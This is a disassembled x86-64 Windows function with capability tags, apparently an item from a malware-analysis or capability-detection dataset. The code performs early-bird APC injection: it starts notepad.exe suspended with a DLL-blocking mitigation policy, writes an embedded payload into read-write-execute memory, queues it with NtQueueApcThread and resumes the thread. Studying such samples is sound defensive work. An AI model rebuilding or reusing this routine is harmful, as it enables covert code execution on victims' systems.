Function at 0x140001d40
Capabilities:
Create process on windows
Create process suspended
Protect spawned processes with mitigation policies

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x140]
sub rsp, 0x240
mov rax, qword [0x14002b7c0]
xor rax, rsp
mov qword [rbp + 0x130], rax
lea rcx, [rbp + 0x10]
lea rax, [0x140026c70]
mov edx, 2
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rcx + 0x80]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
dec rdx
jne 0x140001d80
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
xor eax, eax
lea r8d, [rdx + 0x70]
xor ebx, ebx
mov qword [rbp - 0x10], 0x120
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x50], rbx
call fcn.140008c80
movabs rax, 0x100000000000
lea r9, [rsp + 0x58]
lea edx, [rbx + 1]
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x58], rbx
mov qword [rbp - 8], rax
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x58]
lea edx, [rbx + 8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
lea r9, [rsp + 0x58]
lea edx, [rbx + 1]
mov rcx, rax
xor r8d, r8d
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov qword [rsp + 0x30], rbx
lea r9, [rbp - 8]
xor edx, edx
mov r8d, 0x20007
mov rcx, rsi
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea rax, [rsp + 0x60]
lea rcx, str.C:WindowsSystem32_notepad.exe
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
xor edx, edx
mov dword [rsp + 0x28], 0x8000004
mov qword [rbp - 0x18], rsi
mov dword [rsp + 0x20], 0x80000
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001f1b
lea rdx, str.____Process_not_created
call fcn.140004c90
mov rdi, rax
test rax, rax
jne 0x140001eeb
mov ecx, ebx
jmp 0x140001ef5
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rdi
and dword [rcx + 0x18], 0xfffff9ff
or dword [rcx + 0x18], 0x800
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rdi
call fcn.140002310
mov rcx, rax
call fcn.140004fe0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x60]
lea r9, [rbp - 0x10]
lea rdx, [rsp + 0x50]
xor r8d, r8d
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
call fcn.140005780
mov r9, qword [rbp - 0x10]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x60]
lea r8, [rbp + 0x10]
mov qword [rsp + 0x20], rbx
call fcn.14000578b
mov edi, eax
test eax, eax
je 0x140001fbd
lea rdx, str.____Could_not_write_to_memory
call fcn.140004c90
mov r8, rax
test rax, rax
jne 0x140001f93
mov rcx, rbx
jmp 0x140001f9d
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, r8
and dword [rcx + 0x18], 0xfffff9ff
or dword [rcx + 0x18], 0x800
mov edx, edi
mov rcx, r8
call fcn.140002170
mov rcx, rax
call fcn.140004fe0
mov rcx, qword [rsp + 0x60]
lea rax, [rbp]
lea r8, [rbp - 0x10]
lea rdx, [rsp + 0x50]
mov r9d, 0x20
mov qword [rsp + 0x20], rax
call fcn.1400057e3
mov edi, eax
test eax, eax
je 0x140002028
lea rdx, str.____Could_not_write_to_memory
call fcn.140004c90
mov r8, rax
test rax, rax
jne 0x140001ffe
mov rcx, rbx
jmp 0x140002008
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, r8
and dword [rcx + 0x18], 0xfffff9ff
or dword [rcx + 0x18], 0x800
mov edx, edi
mov rcx, r8
call fcn.140002170
mov rcx, rax
call fcn.140004fe0
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x68]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call fcn.1400057cd
lea rdx, str.NtQueueApcThread_status__
mov edi, eax
call fcn.140004c90
mov r8, rax
test rax, rax
jne 0x14000205d
mov rcx, rbx
jmp 0x140002067
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, r8
and dword [rcx + 0x18], 0xfffff9ff
or dword [rcx + 0x18], 0x800
mov edx, edi
mov rcx, r8
call fcn.140002170
mov rcx, rax
call fcn.140004fe0
mov rcx, qword [rsp + 0x68]
xor edx, edx
call fcn.1400057d8
lea rdx, str.NtResumeThread_status__
mov edi, eax
call fcn.140004c90
mov rcx, rax
test rax, rax
je 0x1400020b3
mov rax, qword [rax]
movsxd rbx, dword [rax + 4]
add rbx, rcx
and dword [rbx + 0x18], 0xfffff9ff
or dword [rbx + 0x18], 0x800
mov edx, edi
call fcn.140002170
mov rcx, rax
call fcn.140004fe0
xor eax, eax
mov rcx, qword [rbp + 0x130]
xor rcx, rsp
call fcn.140007880
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret